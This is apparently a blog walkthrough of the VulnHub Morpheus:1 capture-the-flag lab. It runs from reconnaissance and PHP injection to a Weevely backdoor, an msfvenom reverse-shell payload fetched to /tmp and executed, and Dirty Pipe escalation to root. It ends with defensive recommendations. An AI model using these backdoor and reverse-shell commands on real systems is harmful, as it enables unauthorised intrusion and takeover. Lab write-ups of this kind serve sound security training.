Post cover image
Morpheus 1

November 4, 2026

From PHP Source Code Disclosure to Privilege Escalation: Morpheus:1 VulnHub CTF Walkthrough

A hands-on penetration testing mission against the VulnHub: Morpheus:1 CTF machine, covering network reconnaissance, web service…

By Nwoke Evan Elochukwu Eguzozie

4 min read

A hands-on penetration testing mission against the VulnHub: Morpheus:1 CTF machine, covering network reconnaissance, web service enumeration, PHP source-code discovery, exploitation attempts, and Linux privilege escalation research involving Dirty Pipe (CVE-2022–0847).

✅ All activities were performed in a controlled lab environment for ethical and educational purposes.

Introduction

Dirty Pipe is a critical Linux kernel vulnerability that can allow a local attacker to modify the contents of read-only files under certain conditions. By abusing how the kernel handles pipe buffers and page-cache data, an attacker may bypass normal file permission restrictions and escalate privileges to root on a vulnerable system.

In a penetration testing scenario, this flaw can turn an existing low-privileged foothold into full system control if the target is running an affected kernel and the required conditions are met.

In this walkthrough, we'll investigate the VulnHub: Morpheus:1 machine, following the mission from network reconnaissance and web enumeration to PHP source-code discovery, exploitation attempts to full machine compromise.

Initial setup

  • Target IP:
  • Attacker OS: Kali Linux
  • Target OS: Linux (working in vmware workstation)
  • Tools Used: nmap,gobuster, Weevely , Metasploit Framework, netdiscover, Burp Suite, msfvenom

Discovery

IP discovery

The mission began with local network reconnaissance to locate the Morpheus:1 target. Using netdiscover, an ARP-based discovery tool, to identify active hosts and determine the target machine's IP address. This established the target for the subsequent Nmap scan and web service enumeration.

sudo netdiscover -i eth0

Scanning

nmap was used to scan , identify open ports and running services, and map potential entry points for further investigation.

sudo nmap -p- -sS -sV -sC <target_ip>

open ports:

  • Port 80 — HTTP service, Apache httpd 2.4.51 ((Debian)) version
  • Port 22 — SSH service, OpenSSH 8.4p1 Debian 5
  • Port 81- FTP service, nginx 1.18.0
None

Enumeration

DNS Enumeration

After identifying the Apache web server, I conducted web reconnaissance against the target, manually inspecting the landing page and exposed resources before using Gobuster to brute-force directory and file paths.

gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.cgi,.txt,.html
None

This helped map the web attack surface, identify hidden endpoints and PHP script — graffiti.php, and locate potential entry points for further vulnerability analysis and exploitation.

Foothold

Graffiti Page Inspection

I accessed the graffiti.php endpoint through Firefox and discovered a message submission form that allowed users to enter and send messages.

None

Using Burp Suite, I intercepted the HTTP POST request generated when submitting a message through graffiti.php. The request revealed two key parameters, message and file, with the submitted content directed to graffiti.txt.

None

After several rounds of endpoint testing and application analysis, I investigated a potential PHP code-injection path through graffiti.php. Using Weevely, I generated a PHP backdoor agent and attempted to deploy it through the application to establish a connection.

weevely generate <password> <path>

Exploitation

Remote shell access

After deploying the Weevely PHP agent, I established a remote shell connection to the target using Weevely. The session confirmed successful access under the www-data account. The shell also revealed that the current working directory was /var/www/html, indicating that access had been gained within the Apache web server's environment.

The successful execution of the id command confirmed that the remote session was active. However, the access level was limited to the low-privileged www-data account.

weevely http://<target>/<path> <password>
None

Post-Exploitation

Literal Movement

After establishing a connection, I inspected the target's FLAG.txt file to gather intelligence for the next phase of the operation. The message revealed that Cypher had locked users out of the system and hinted that his password had been shared with Agent Smith. It also provided another objective: retrieve the hidden image /.cypher-neo.png from the web server. I used wget from my Kali machine to download the image over HTTP on port 80, successfully retrieving the 372 KB file for further examination.

wget http://<target_ip>/.cypher-neo.png

firefox .cypher-neo.png
None

Priviledge Escalation

Since I couldn't obtain elevated privileges for the current user through sudo -l, I explored an alternative route to gain higher access. I generated a reverse payload using msfvenom, configured the attacker's listener address and port, and prepared a listener through msfconsole.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=6767 -f elf -o morpheus_payload.elf

The payload was transferred remotely to the target machine using wget. The first download attempt failed with a Permission Denied error because the www-data account lacked write access to the current directory. To overcome this restriction, I moved into the /tmp directory, where the payload downloaded successfully as morpheus_payload.elf.

None

After executing the transferred payload and configuring the listener in msfconsole, I successfully established a Meterpreter session on the target. However, the session still operated with limited privileges and did not provide root access. I proceeded with post-exploitation enumeration to identify possible privilege-escalation paths. During this process, I identified Dirty Pipe (CVE-2022-0847) as a potential vulnerability affecting the target's Linux kernel. I used the corresponding exploit to escalate privileges and establish a second, more privileged Meterpreter session. With elevated access, I was able to navigate the system, locate Cypher's actual FLAG.txt, and complete the final objective of the Target machine. Mission accomplished!

None

I concluded the assessment with the following recommendations:

  • PHP injection prevention: Validate user input and prevent execution of injected PHP code.
  • Source-code protection: Restrict access to sensitive PHP files and disable unnecessary PHP wrappers.
  • File upload security: Validate uploaded files and prevent PHP execution in upload directories.
  • File permissions: Apply proper ownership and permissions to web directories, especially /var/www/html.
  • Privilege restriction: Limit www-data permissions and review unnecessary sudo privileges.
  • Kernel patching: Update vulnerable Linux kernels to address Dirty Pipe (CVE-2022–0847).
  • Network security: Restrict unnecessary outbound connections and monitor suspicious reverse-shell activity.
  • Security monitoring: Regularly audit system logs, running processes, file permissions, and network connections.